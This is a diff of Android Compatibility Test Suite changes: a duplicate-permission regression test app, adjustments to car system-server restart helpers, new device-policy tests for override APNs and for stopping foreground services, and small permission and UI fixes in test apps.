+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.duplicatepermission.samepermissiongroup">
+
+    <permission android:name="com.android.cts.duplicatepermission.samepermissiongroup.PERMISSION1"
+                android:permissionGroup = "android.permission-group.PHONE" />
+    <permission android:name="com.android.cts.duplicatepermission.samepermissiongroup.PERMISSION1"
+                android:permissionGroup = "android.permission-group.PHONE" />
+
+    <permission android:name="com.android.cts.duplicatepermission.samepermissiongroup.PERMISSION2" />
+    <permission android:name="com.android.cts.duplicatepermission.samepermissiongroup.PERMISSION2" />
+
+    <application />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
index 8deeb76..12fbb3c 100644
--- a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
+++ b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
@@ -73,6 +73,7 @@
         EXCEPTION_PATTERNS.add(":: 1002");          // used by remote control
         EXCEPTION_PATTERNS.add(":: 1020");          // used by remote control
         EXCEPTION_PATTERNS.add("0.0.0.0:7275");     // used by supl
+        EXCEPTION_PATTERNS.add("0.0.0.0:68");       // DHCP server for Tethering
         // b/150186547 ports
         EXCEPTION_PATTERNS.add("192.168.17.10:48881");
         EXCEPTION_PATTERNS.add("192.168.17.10:48896");
diff --git a/tests/tests/cronet/Android.bp b/hostsidetests/appsecurity/test-apps/MalformedDuplicatePermission/Android.bp
similarity index 61%
copy from tests/tests/cronet/Android.bp
copy to hostsidetests/appsecurity/test-apps/MalformedDuplicatePermission/Android.bp
index fc8ec7f..1212186 100644
--- a/tests/tests/cronet/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MalformedDuplicatePermission/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2019 The Android Open Source Project
+// Copyright (C) 2018 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -12,29 +12,17 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-
-// TODO: Move this target to cts/tests/tests/net/cronet
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-android_test {
-    name: "CtsCronetTestCases",
-    defaults: ["cts_defaults"],
-
-    // Include both the 32 and 64 bit versions
-    compile_multilib: "both",
-
-    static_libs: [
-        "CronetApiCommonTests",
-        "ctstestrunner-axt",
-    ],
-
-    // Tag this module as a cts test artifact
+android_test_import {
+    name: "CtsMalformedDuplicatePermission_DifferentPermissionGroup",
+    apk: "apk/b213323615_DifferentPermissionGroup.apk",
+    presigned: true,
     test_suites: [
         "cts",
+        "sts",
         "general-tests",
-        "mts-cronet",
     ],
-
 }
diff --git a/hostsidetests/appsecurity/test-apps/MalformedDuplicatePermission/apk/b213323615_DifferentPermissionGroup.apk b/hostsidetests/appsecurity/test-apps/MalformedDuplicatePermission/apk/b213323615_DifferentPermissionGroup.apk
new file mode 100644
index 0000000..21167ed
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MalformedDuplicatePermission/apk/b213323615_DifferentPermissionGroup.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk
index 5c8aaa5..f1730f6 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk
index 3cb1a4b..cdb279a 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk
index 3bfa2bb..42135bc 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk
index 0c69d99..f9e6f96 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestA.xml b/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestA.xml
index 8837024..f61e96a 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestA.xml
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestA.xml
@@ -32,5 +32,6 @@
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestB.xml b/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestB.xml
index d934c77..a76665d 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestB.xml
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/AndroidManifestB.xml
@@ -31,5 +31,6 @@
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index 9b2532d..0e8186d 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -134,7 +134,7 @@
         device.findObject(new UiSelector().textContains("Clear")).click();
         device.waitForIdle();
 
-        device.findObject(new UiSelector().text("OK")).click();
+        device.findObject(new UiSelector().text("DELETE")).click();
     }
 
     private void clearSpaceWatch(UiDevice device) throws UiObjectNotFoundException {
diff --git a/hostsidetests/car/nonrecoverable/src/android/car/cts/CarServiceHelperServiceTest.java b/hostsidetests/car/nonrecoverable/src/android/car/cts/CarServiceHelperServiceTest.java
index 6e31857..7fdc7e6 100644
--- a/hostsidetests/car/nonrecoverable/src/android/car/cts/CarServiceHelperServiceTest.java
+++ b/hostsidetests/car/nonrecoverable/src/android/car/cts/CarServiceHelperServiceTest.java
@@ -52,7 +52,10 @@
         restartSystemServer();
 
         // Makes sure new user was created and switched to
-        waitUntilAtLeastNPersistentUsersAreAvailable(2);
+        waitUntilAtLeastNPersistentUsersAreAvailable(SYSTEM_RESTART_TIMEOUT_SEC, 2);
+
+        waitUntilCurrentUserIsNotSystem(SYSTEM_RESTART_TIMEOUT_SEC);
+
         assertWithMessage("Current user id").that(getCurrentUserId()).isNotEqualTo(SYSTEM_USER_ID);
     }
 
diff --git a/hostsidetests/car/util/src/android/car/cts/CarHostJUnit4TestCase.java b/hostsidetests/car/util/src/android/car/cts/CarHostJUnit4TestCase.java
index c763d99..3bd79e5 100644
--- a/hostsidetests/car/util/src/android/car/cts/CarHostJUnit4TestCase.java
+++ b/hostsidetests/car/util/src/android/car/cts/CarHostJUnit4TestCase.java
@@ -58,7 +58,10 @@
 // NOTE: must be public because of @Rules
 public abstract class CarHostJUnit4TestCase extends BaseHostJUnit4Test {
 
+    private static final int SYSTEM_USER_ID = 0;
+
     private static final int DEFAULT_TIMEOUT_SEC = 20;
+    protected static final int SYSTEM_RESTART_TIMEOUT_SEC = 120;
 
     private static final Pattern CREATE_USER_OUTPUT_PATTERN = Pattern.compile("id=(\\d+)");
 
@@ -351,7 +354,7 @@
      * Waits until the system server is ready.
      */
     protected void waitForCarServiceReady() throws Exception {
-        CommonTestUtils.waitUntil("timed out waiting for system server ",
+        CommonTestUtils.waitUntil("timed out waiting for car service",
                 DEFAULT_TIMEOUT_SEC, () -> isCarServiceReady());
     }
 
@@ -416,18 +419,19 @@
     }
 
     /**
-     * Waits until the current user is ephemeral.
+     * Waits until the current user is not the system user.
      */
-    protected void waitUntilCurrentUserIsEphemeral() throws Exception {
-        waitUntil(() -> isUserEphemeral(getCurrentUserId()), "current user %d (to be ephemeral)",
-                getCurrentUserId());
+    protected  void waitUntilCurrentUserIsNotSystem(int timeoutSec) throws Exception {
+        CommonTestUtils.waitUntil("timed out (" + timeoutSec + "s) waiting for current user to NOT "
+                + "be the system user", timeoutSec,  () -> getCurrentUserId() != SYSTEM_USER_ID);
     }
 
     /**
      * Waits until {@code n} persistent (i.e., non-ephemeral) users are available.
      */
-    protected void waitUntilAtLeastNPersistentUsersAreAvailable(int n) throws Exception {
-        waitUntil(() -> getAllPersistentUsers().size() >= n, "%d persistent users", n);
+    protected void waitUntilAtLeastNPersistentUsersAreAvailable(int timeoutSec, int n)
+            throws Exception {
+        waitUntil(timeoutSec, () -> getAllPersistentUsers().size() >= n, "%d persistent users", n);
     }
 
     /**
@@ -509,29 +513,51 @@
      * {@link ITestDevice#reboot()} would reset them.
      */
     protected void restartSystemServer() throws Exception {
-        // Root should be enabled to restart systemServer
-        boolean isRoot = getDevice().isAdbRoot();
+        long uptimeBefore = getSystemServerUptime();
+        CLog.d("Uptime before restart: %d", uptimeBefore);
 
-        try {
-            if (!isRoot) {
-                getDevice().enableAdbRoot();
-            }
-            final ITestDevice device = getDevice();
+        restartOrReboot();
+
+        getDevice().waitForDeviceAvailable();
+
+        // Also checks for uptime - it might be an overkill, but at least it will add more logs,
+        // which could help in case of issues
+        CommonTestUtils.waitUntil("timed out waiting until for new system server uptime",
+                SYSTEM_RESTART_TIMEOUT_SEC, () -> {
+                    long uptimeAfter = getSystemServerUptime();
+                    CLog.d("Uptime after restart: %d", uptimeAfter);
+                    return uptimeAfter != -1 && uptimeAfter != uptimeBefore;
+                });
+
+        waitForCarServiceReady();
+    }
+
+    private void restartOrReboot() throws DeviceNotAvailableException {
+        ITestDevice device = getDevice();
+
+        if (device.isAdbRoot()) {
+            CLog.d("Restarting system server");
             device.executeShellCommand("stop");
             device.executeShellCommand("start");
-            device.waitForDeviceAvailable();
-            waitForCarServiceReady();
-        } finally {
-            if (!isRoot) {
-                getDevice().disableAdbRoot();
-            }
+            return;
         }
+
+        CLog.d("Only root user can restart system server; rebooting instead");
+        getDevice().reboot();
+    }
+
+    /**
+     * Gets the system server uptime (or {@code -1} if not available).
+     */
+    protected long getSystemServerUptime() throws DeviceNotAvailableException {
+        return getDevice().getIntProperty("sys.system_server.start_uptime", -1);
     }
 
     /**
      * Reboots the device.
      */
     protected void reboot() throws Exception {
+        CLog.d("Rebooting device");
         getDevice().reboot();
     }
 
diff --git a/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java b/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java
index d4a1164..e7d954f 100644
--- a/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java
+++ b/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java
@@ -88,6 +88,7 @@
     @Before
     public void setUp() throws Exception {
         mDevice = getDevice();
+        assertThat(mDevice.waitForBootComplete(REBOOT_TIMEOUT_MS)).isTrue();
     }
 
     @Test
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
index 3630cee..4da5fff 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
@@ -80,6 +80,23 @@
         assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
     }
 
+    public void testFgsStopWithUserControlDisabled() throws Exception {
+        final ArrayList<String> pkgs = new ArrayList<>();
+        pkgs.add(SIMPLE_APP_PKG);
+        // Check if package is part of UserControlDisabledPackages before checking if
+        // package is stopped since it is a necessary condition to prevent stopping of
+        // package
+
+        assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho()))
+                .containsExactly(SIMPLE_APP_PKG);
+        assertPackageRunningState(/* running= */ true);
+    }
+
+    public void testFgsStopWithUserControlEnabled() throws Exception {
+        assertPackageRunningState(/* running= */ false);
+        assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
+    }
+
     private boolean isPackageStopped(String packageName) throws Exception {
         PackageInfo packageInfo = mContext.getPackageManager()
                 .getPackageInfoAsUser(packageName, PackageManager.GET_META_DATA,
@@ -97,4 +114,15 @@
                 getCurrentUser().getIdentifier())
                 .that(isPackageStopped(SIMPLE_APP_PKG)).isEqualTo(stopped);
     }
+
+    private boolean isPackageRunning(String packageName) throws Exception {
+        String pid = executeShellCommand(String.format("pidof %s", packageName)).trim();
+        return pid.length() > 0;
+    }
+
+    private void assertPackageRunningState(boolean shouldBeRunning) throws Exception {
+        assertWithMessage("Package %s running for user %s", SIMPLE_APP_PKG,
+                getCurrentUser().getIdentifier())
+                .that(isPackageRunning(SIMPLE_APP_PKG)).isEqualTo(shouldBeRunning);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/OverrideApnTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/OverrideApnTest.java
new file mode 100755
index 0000000..e835677
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/OverrideApnTest.java
@@ -0,0 +1,244 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofile;
+
+import android.net.Uri;
+import android.telephony.TelephonyManager;
+import android.telephony.data.ApnSetting;
+
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.util.List;
+
+/**
+ * Test override APN APIs.
+ * TODO: b/232548859
+ */
+public class OverrideApnTest extends BaseManagedProfileTest {
+    private static final String TEST_APN_NAME = "testEnterpriseApnName";
+    private static final String UPDATE_APN_NAME = "updateEnterpriseApnName";
+    private static final String TEST_ENTRY_NAME = "testEnterpriseEntryName";
+    private static final String UPDATE_ETNRY_NAME = "updateEnterpriseEntryName";
+    private static final String TEST_OPERATOR_NUMERIC = "123456789";
+    private static final int TEST_PROXY_PORT = 123;
+    private static final String TEST_PROXY_ADDRESS = "123.123.123.123";
+    private static final Uri TEST_MMSC = Uri.parse("http://www.google.com");
+    private static final String TEST_USER_NAME = "testUser";
+    private static final String TEST_PASSWORD = "testPassword";
+    private static final int TEST_AUTH_TYPE = ApnSetting.AUTH_TYPE_CHAP;
+    private static final int TEST_APN_TYPE_BITMASK = ApnSetting.TYPE_ENTERPRISE;
+    private static final int TEST_APN_TYPE_BITMASK_WRONG = ApnSetting.TYPE_DEFAULT;
+    private static final int TEST_PROTOCOL = ApnSetting.PROTOCOL_IPV4V6;
+    private static final int TEST_NETWORK_TYPE_BITMASK = TelephonyManager.NETWORK_TYPE_CDMA;
+    private static final int TEST_MVNO_TYPE = ApnSetting.MVNO_TYPE_GID;
+    private static final boolean TEST_ENABLED = true;
+    private static final int TEST_CARRIER_ID = 100;
+    private static final int UPDATE_CARRIER_ID = 101;
+
+    private static final ApnSetting TEST_APN_FULL;
+    static {
+        TEST_APN_FULL = new ApnSetting.Builder()
+            .setApnName(TEST_APN_NAME)
+            .setEntryName(TEST_ENTRY_NAME)
+            .setOperatorNumeric(TEST_OPERATOR_NUMERIC)
+            .setProxyAddress(TEST_PROXY_ADDRESS)
+            .setProxyPort(TEST_PROXY_PORT)
+            .setMmsc(TEST_MMSC)
+            .setMmsProxyAddress(TEST_PROXY_ADDRESS)
+            .setMmsProxyPort(TEST_PROXY_PORT)
+            .setUser(TEST_USER_NAME)
+            .setPassword(TEST_PASSWORD)
+            .setAuthType(TEST_AUTH_TYPE)
+            .setApnTypeBitmask(TEST_APN_TYPE_BITMASK)
+            .setProtocol(TEST_PROTOCOL)
+            .setRoamingProtocol(TEST_PROTOCOL)
+            .setNetworkTypeBitmask(TEST_NETWORK_TYPE_BITMASK)
+            .setMvnoType(TEST_MVNO_TYPE)
+            .setCarrierEnabled(TEST_ENABLED)
+            .setCarrierId(TEST_CARRIER_ID)
+            .build();
+    }
+
+    private static InetAddress getProxyInetAddress(String proxyAddress) {
+        try {
+            return InetAddress.getByName(proxyAddress);
+        } catch (UnknownHostException e) {
+            return null;
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        List<ApnSetting> apnList = mDevicePolicyManager.getOverrideApns(ADMIN_RECEIVER_COMPONENT);
+        for (ApnSetting apn : apnList) {
+            boolean deleted = mDevicePolicyManager.removeOverrideApn(ADMIN_RECEIVER_COMPONENT,
+                    apn.getId());
+            assertTrue("Failed to clean up override APNs.", deleted);
+        }
+    }
+
+    public void testAddGetRemoveOverrideApn() throws Exception {
+        int insertedId = mDevicePolicyManager.addOverrideApn(ADMIN_RECEIVER_COMPONENT,
+                TEST_APN_FULL);
+        assertTrue(insertedId != 0);
+        List<ApnSetting> apnList = mDevicePolicyManager.getOverrideApns(ADMIN_RECEIVER_COMPONENT);
+
+        assertEquals(1, apnList.size());
+        assertEquals(TEST_OPERATOR_NUMERIC, apnList.get(0).getOperatorNumeric());
+        assertEquals(TEST_ENTRY_NAME, apnList.get(0).getEntryName());
+        assertEquals(TEST_APN_NAME, apnList.get(0).getApnName());
+        assertEquals(getProxyInetAddress(TEST_PROXY_ADDRESS), apnList.get(0).getProxyAddress());
+        assertEquals(TEST_PROXY_ADDRESS, apnList.get(0).getProxyAddressAsString());
+        assertEquals(TEST_PROXY_PORT, apnList.get(0).getProxyPort());
+        assertEquals(TEST_MMSC, apnList.get(0).getMmsc());
+        assertEquals(getProxyInetAddress(TEST_PROXY_ADDRESS), apnList.get(0).getMmsProxyAddress());
+        assertEquals(TEST_PROXY_ADDRESS, apnList.get(0).getMmsProxyAddressAsString());
+        assertEquals(TEST_PROXY_PORT, apnList.get(0).getMmsProxyPort());
+        assertEquals(TEST_USER_NAME, apnList.get(0).getUser());
+        assertEquals(TEST_PASSWORD, apnList.get(0).getPassword());
+        assertEquals(TEST_AUTH_TYPE, apnList.get(0).getAuthType());
+        assertEquals(TEST_APN_TYPE_BITMASK, apnList.get(0).getApnTypeBitmask());
+        assertEquals(TEST_PROTOCOL, apnList.get(0).getProtocol());
+        assertEquals(TEST_PROTOCOL, apnList.get(0).getRoamingProtocol());
+        assertEquals(TEST_ENABLED, apnList.get(0).isEnabled());
+        assertEquals(TEST_MVNO_TYPE, apnList.get(0).getMvnoType());
+        assertEquals(TEST_NETWORK_TYPE_BITMASK, apnList.get(0).getNetworkTypeBitmask());
+        assertEquals(TEST_CARRIER_ID, apnList.get(0).getCarrierId());
+
+        assertTrue(mDevicePolicyManager.removeOverrideApn(ADMIN_RECEIVER_COMPONENT, insertedId));
+        apnList = mDevicePolicyManager.getOverrideApns(ADMIN_RECEIVER_COMPONENT);
+        assertEquals(0, apnList.size());
+    }
+
+    public void testAddOverrideApnIncorrectApn() throws Exception {
+        int insertedId = mDevicePolicyManager.addOverrideApn(ADMIN_RECEIVER_COMPONENT,
+                TEST_APN_FULL);
+        assertTrue(insertedId != 0);
+        List<ApnSetting> apnList = mDevicePolicyManager.getOverrideApns(ADMIN_RECEIVER_COMPONENT);
+
+        assertEquals(1, apnList.size());
+        assertEquals(TEST_OPERATOR_NUMERIC, apnList.get(0).getOperatorNumeric());
+        assertEquals(TEST_ENTRY_NAME, apnList.get(0).getEntryName());
+        assertEquals(TEST_APN_NAME, apnList.get(0).getApnName());
+        assertEquals(getProxyInetAddress(TEST_PROXY_ADDRESS), apnList.get(0).getProxyAddress());
+        assertEquals(TEST_PROXY_ADDRESS, apnList.get(0).getProxyAddressAsString());
+        assertEquals(TEST_PROXY_PORT, apnList.get(0).getProxyPort());
+        assertEquals(TEST_MMSC, apnList.get(0).getMmsc());
+        assertEquals(getProxyInetAddress(TEST_PROXY_ADDRESS), apnList.get(0).getMmsProxyAddress());
+        assertEquals(TEST_PROXY_ADDRESS, apnList.get(0).getMmsProxyAddressAsString());
+        assertEquals(TEST_PROXY_PORT, apnList.get(0).getMmsProxyPort());
+        assertEquals(TEST_USER_NAME, apnList.get(0).getUser());
+        assertEquals(TEST_PASSWORD, apnList.get(0).getPassword());
+        assertEquals(TEST_AUTH_TYPE, apnList.get(0).getAuthType());
+        assertEquals(TEST_APN_TYPE_BITMASK_WRONG, apnList.get(0).getApnTypeBitmask());
+        assertEquals(TEST_PROTOCOL, apnList.get(0).getProtocol());
+        assertEquals(TEST_PROTOCOL, apnList.get(0).getRoamingProtocol());
+        assertEquals(TEST_ENABLED, apnList.get(0).isEnabled());
+        assertEquals(TEST_MVNO_TYPE, apnList.get(0).getMvnoType());
+        assertEquals(TEST_NETWORK_TYPE_BITMASK, apnList.get(0).getNetworkTypeBitmask());
+        assertEquals(TEST_CARRIER_ID, apnList.get(0).getCarrierId());
+
+        apnList = mDevicePolicyManager.getOverrideApns(ADMIN_RECEIVER_COMPONENT);
+        assertEquals(0, apnList.size());
+    }
+
+    public void testUpdateOverrideApn() throws Exception {
+        int insertedId = mDevicePolicyManager.addOverrideApn(ADMIN_RECEIVER_COMPONENT,
+                TEST_APN_FULL);
+        assertNotSame(-1, insertedId);
+
+        final ApnSetting updateApn = new ApnSetting.Builder()
+                .setApnName(UPDATE_APN_NAME)
+                .setEntryName(UPDATE_ETNRY_NAME)
+                .setOperatorNumeric(TEST_OPERATOR_NUMERIC)
+                .setProxyAddress(TEST_PROXY_ADDRESS)
+                .setProxyPort(TEST_PROXY_PORT)
+                .setMmsc(TEST_MMSC)
+                .setMmsProxyAddress(TEST_PROXY_ADDRESS)
+                .setMmsProxyPort(TEST_PROXY_PORT)
+                .setUser(TEST_USER_NAME)
+                .setPassword(TEST_PASSWORD)
+                .setAuthType(TEST_AUTH_TYPE)
+                .setApnTypeBitmask(TEST_APN_TYPE_BITMASK)
+                .setProtocol(TEST_PROTOCOL)
+                .setRoamingProtocol(TEST_PROTOCOL)
+                .setNetworkTypeBitmask(TEST_NETWORK_TYPE_BITMASK)
+                .setMvnoType(TEST_MVNO_TYPE)
+                .setCarrierEnabled(TEST_ENABLED)
+                .setCarrierId(UPDATE_CARRIER_ID)
+                .build();
+        assertTrue(mDevicePolicyManager.updateOverrideApn(ADMIN_RECEIVER_COMPONENT,
+                insertedId, updateApn));
+
+        List<ApnSetting> apnList = mDevicePolicyManager.getOverrideApns(ADMIN_RECEIVER_COMPONENT);
+
+        assertEquals(1, apnList.size());
+        assertEquals(TEST_OPERATOR_NUMERIC, apnList.get(0).getOperatorNumeric());
+        assertEquals(UPDATE_ETNRY_NAME, apnList.get(0).getEntryName());
+        assertEquals(UPDATE_APN_NAME, apnList.get(0).getApnName());
+        assertEquals(getProxyInetAddress(TEST_PROXY_ADDRESS), apnList.get(0).getProxyAddress());
+        assertEquals(TEST_PROXY_ADDRESS, apnList.get(0).getProxyAddressAsString());
+        assertEquals(TEST_PROXY_PORT, apnList.get(0).getProxyPort());
+        assertEquals(TEST_MMSC, apnList.get(0).getMmsc());
+        assertEquals(getProxyInetAddress(TEST_PROXY_ADDRESS), apnList.get(0).getMmsProxyAddress());
+        assertEquals(TEST_PROXY_ADDRESS, apnList.get(0).getMmsProxyAddressAsString());
+        assertEquals(TEST_PROXY_PORT, apnList.get(0).getMmsProxyPort());
+        assertEquals(TEST_USER_NAME, apnList.get(0).getUser());
+        assertEquals(TEST_PASSWORD, apnList.get(0).getPassword());
+        assertEquals(TEST_AUTH_TYPE, apnList.get(0).getAuthType());
+        assertEquals(TEST_APN_TYPE_BITMASK, apnList.get(0).getApnTypeBitmask());
+        assertEquals(TEST_PROTOCOL, apnList.get(0).getProtocol());
+        assertEquals(TEST_PROTOCOL, apnList.get(0).getRoamingProtocol());
+        assertEquals(TEST_ENABLED, apnList.get(0).isEnabled());
+        assertEquals(TEST_MVNO_TYPE, apnList.get(0).getMvnoType());
+        assertEquals(UPDATE_CARRIER_ID, apnList.get(0).getCarrierId());
+
+        assertTrue(mDevicePolicyManager.removeOverrideApn(ADMIN_RECEIVER_COMPONENT, insertedId));
+    }
+
+    public void testUpdateOverrideApnWrongApn() throws Exception {
+        int insertedId = mDevicePolicyManager.addOverrideApn(ADMIN_RECEIVER_COMPONENT,
+                TEST_APN_FULL);
+        assertNotSame(-1, insertedId);
+
+        final ApnSetting updateApn = new ApnSetting.Builder()
+                .setApnName(UPDATE_APN_NAME)
+                .setEntryName(UPDATE_ETNRY_NAME)
+                .setOperatorNumeric(TEST_OPERATOR_NUMERIC)
+                .setProxyAddress(TEST_PROXY_ADDRESS)
+                .setProxyPort(TEST_PROXY_PORT)
+                .setMmsc(TEST_MMSC)
+                .setMmsProxyAddress(TEST_PROXY_ADDRESS)
+                .setMmsProxyPort(TEST_PROXY_PORT)
+                .setUser(TEST_USER_NAME)
+                .setPassword(TEST_PASSWORD)
+                .setAuthType(TEST_AUTH_TYPE)
+                .setApnTypeBitmask(TEST_APN_TYPE_BITMASK_WRONG)
+                .setProtocol(TEST_PROTOCOL)
+                .setRoamingProtocol(TEST_PROTOCOL)
+                .setNetworkTypeBitmask(TEST_NETWORK_TYPE_BITMASK)
+                .setMvnoType(TEST_MVNO_TYPE)
+                .setCarrierEnabled(TEST_ENABLED)
+                .setCarrierId(UPDATE_CARRIER_ID)
+                .build();
+        assertTrue(mDevicePolicyManager.updateOverrideApn(ADMIN_RECEIVER_COMPONENT,
+                insertedId, updateApn));
+        List<ApnSetting> apnList = mDevicePolicyManager.getOverrideApns(ADMIN_RECEIVER_COMPONENT);
+        assertEquals(0, apnList.size());
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 966c6ed..13d6d70 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -386,6 +386,11 @@
         executeShellCommand("am force-stop --user " + userId + " " + packageName);
     }
 
+    protected void fgsStopPackageForUser(String packageName, int userId) throws Exception {
+        // TODO Move this logic to ITestDevice
+        executeShellCommand("am stop-app --user " + userId + " " + packageName);
+    }
+
     protected String executeShellCommand(String commandTemplate, Object...args) throws Exception {
         return executeShellCommand(String.format(commandTemplate, args));
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 560e10f..e6487e4 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -498,6 +498,8 @@
         executeDeviceTestMethod(".ApplicationHiddenTest", "testCannotHidePolicyExemptApps");
     }
 
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595",
+            reason = "Will be migrated to new test infra")
     @Test
     public void testDelegatedCertInstaller() throws Exception {
         installAppAsUser(CERT_INSTALLER_APK, mUserId);
